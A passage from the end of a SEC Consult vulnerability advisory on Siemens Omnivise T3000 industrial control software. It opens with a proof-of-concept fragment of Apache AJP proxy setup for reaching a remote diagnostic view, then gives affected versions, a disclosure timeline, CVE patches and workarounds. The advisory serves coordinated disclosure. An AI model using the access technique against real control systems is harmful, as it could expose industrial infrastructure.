proxy_httpsudo a2enmod proxy_ajpsudo systemctl restart apache2--------------------------Afterwards, the e.g. RemoteDiagnosticView can be loaded from http://127.0.0.1/RemoteDiagnosticViewVulnerable / tested versions:-----------------------------The following version has been tested which was the latest version availableat the time of the test:* 8.2According to the vendor (T3000 SE Controls Security Announcement 2024/01 Update 1),the following versions and components are affected:All T3000 Versions >= Release 8.2 SP3:* Security Server* Thin Clients* Terminal Server* Application Server* Domain Controller* PDM VM* Whitelisting VM* NIDSVendor contact timeline:------------------------2024-06-05: Contacting vendor through productcert@siemens.com2024-06-06: Siemens assigned S-PCERT#408502024-06-12: Reaching out to specific contacts at Siemens Energy Cybersecurity.2024-06-13: They confirm that ProductCERT will get back to us once they have a timeline.2024-06-19: Customer informs us about a Siemens Energy Document that recommends to            change passwords after installation. The document is called "SE Controls            Security Announcement 2024/01" but only available to T3000 customers.2024-06-20: Sending feedback about the document to Siemens Energy Cybersecurity            as in our opinion it does not solve the issues.2024-06-20: They confirm again that ProductCERT is taking care of issues. Asks            to confirm that we received their messages, which we didn't -> Realized            that one of our email addresses was dropped during the communication,            recovered emails from second account.2024-06-17/2024-06-24: ProductCERT informs:            Vulnerability 1 cannot be reproduced in the reference installation.                 The product team is working to find potentially affected installation                 scenarios.            Vulnerability 2 was reproduced and the product team is working on a mitigation.                 Also, a related customer information has been distributed to customers.            Vulnerability 3 will be fixed in the next release of the T3000 distribution            Vulnerability 4 is already fixed in the current version. The product team is                 investigating, if this vulnerability is present in still supported versions.2024-06-21: ProductCERT informs us that they are able to reproduce all of the vulnerabilities            and provide fixes for most of them. Advisory draft should be shared with            SEC Consult next week. Ask to keep communication directed at ProductCERT            instead of Cybersecurity team.2024-06-28: ProductCERT sends over advisory draft. Could reproduce all vulnerabilities            and requested CVEs.2024-07-03: Siemens ProductCERT requests if we received the draft, as SEC Consult didn't answer yet.2024-07-03: SEC Consult confirms the reception of the advisory draft.2024-07-04: Submitted feedback for advisory draft to ProductCERT. From SEC Consult's            understanding, changing passwords after initial installation only fixes the            cleartext passwords in log files. The puppet issue would not be fixed.            Thus SEC Consult proposed to split Vulnerability 2 into two separate findings.2024-07-05: ProductCERT forwarded feedback to product team.2024-08-02: ProductCERT publishes SSA-857368.2024-08-05: Informing ProductCERT of vacation/absences, will coordinate further afterwards.2024-10-03: Proposing a meeting with ProductCERT to clarify and discuss all open issues.2024-10-22: Meeting with ProductCERT.2024-10-24: ProductCERT sends us further documents for T3000 regarding fixes/mitigations.2024-10-31: Sending advisory draft to ProductCERT, proposing advisory release date for 7th            November.2024-11-06: Receiving feedback from ProductCERT, postponing release to 12th November.2024-11-12: Coordinated release of advisory.Solution:---------Change the passwords to all components. Detailed instructions and patch informationcan be found when following Omnivise T3000 Technical News 2024-089 and SE ControlsSecurity Announcement 2024-01.Release 9.2 Fix / Mitigations:Issue 1 (CVE-2024-38876)* System Software Patch 22.173.20* System Software Patch 22.173.52* Application Software Patch 09.0.19.06Issue 2 (CVE-2024-38877)* System Software Patches 22.173.52* Application Software Patch 09.0.19.06* Technical News 2024-089Issue 3 (CVE-2024-38878)* Application Software Patch 09.0.19.06Issue 4 (CVE-2024-38879)* Application Software Patch 09.0.19.06Release 8.2 SP4 Fix / Mitigations:Patches are currently under development.Release 8.2 SP3 Fix / Mitigations:Currently no fixes are planned, but see Technical News 2024-089 for issue 2 (CVE-2024-38877)Workaround:-----------Limit access to the terminal servers.CVE-2024-38877: If the passwords are suspected to be compromised, change the passwordsfor all computers and service accounts. In addition follow the instructions fromOmnivise T3000 Technical News 2024-089, which is available through T3000 customerservice and applies to releases 8.2 SP3/SP4 and 9.2.Advisory URL:-------------https://sec-consult.com/vulnerability-lab/~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~SEC Consult Vulnerability LabAn integrated part of SEC Consult, an Eviden businessEurope | AsiaAbout SEC Consult Vulnerability LabThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, anEviden business. It ensures the continued knowledge gain of SEC Consult in thefield of network and application security to stay ahead of the attacker. TheSEC Consult Vulnerability Lab supports high-quality penetration testing andthe evaluation of new offensive and defensive technologies for our customers.Hence our customers obtain the most current information about vulnerabilitiesand valid recommendation about the risk profile of new technologies.~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Interested to work with the experts of SEC Consult?Send us your application https://sec-consult.com/career/Interested in improving your cyber security with the experts of SEC Consult?Contact our local offices https://sec-consult.com/contact/~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Mail: security-research at sec-consult dot comWeb: https://www.sec-consult.comBlog: https://blog.sec-consult.comTwitter: https://twitter.com/sec_consultEOF Steffen Robertz, Andreas Kolbeck/ @2024

Tag

#windows